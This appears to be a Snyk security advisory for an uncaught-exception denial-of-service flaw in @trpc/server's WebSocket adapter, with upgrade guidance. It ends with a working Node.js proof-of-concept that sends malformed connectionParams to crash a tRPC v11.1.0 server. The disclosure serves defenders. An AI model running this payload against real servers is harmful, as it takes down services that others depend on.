Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade @trpc/server
to version 11.1.1 or higher.
@trpc/server is a The tRPC server library
Affected versions of this package are vulnerable to Uncaught Exception via the createCtxPromise
function. An attacker can cause the server to crash by sending malformed connectionParams
during the WebSocket connection setup. Specifically, the parseConnectionParams
function throws an error for malformed input, which is caught but then incorrectly re-thrown within the WebSocket adapter's createCtxPromise
function. This re-thrown error becomes an uncaught exception in the WebSocket message event context, leading to the termination of the entire tRPC server process.
Note:
This is only exploitable if the server has WebSockets enabled and uses the createContext
method.
#!/usr/bin/env node
const TARGET = 'ws://localhost:3000'
// These malicious connection params will crash any tRPC v11.1.0 WebSocket server on validation
const MALICIOUS_CONNECTION_PARAMS = JSON.stringify({
method: "connectionParams",
data: { invalidConnectionParams: null },
});
// Open a connection to the target
const target = `${TARGET}?connectionParams=1`;
console.log(`Opening a WebSocket to ${target}`);
const socket = new WebSocket(target);
// Wait for the connection to be established
socket.addEventListener("open", () => {
console.log("WebSocket established!");
// Sends a message to the WebSocket server.
console.log(`Sending malicious connectionParams`);
socket.send(MALICIOUS_CONNECTION_PARAMS);
console.log(`Done!`);
});
// Handle errors
socket.addEventListener("error", () => console.log("Error opening WebSocket"));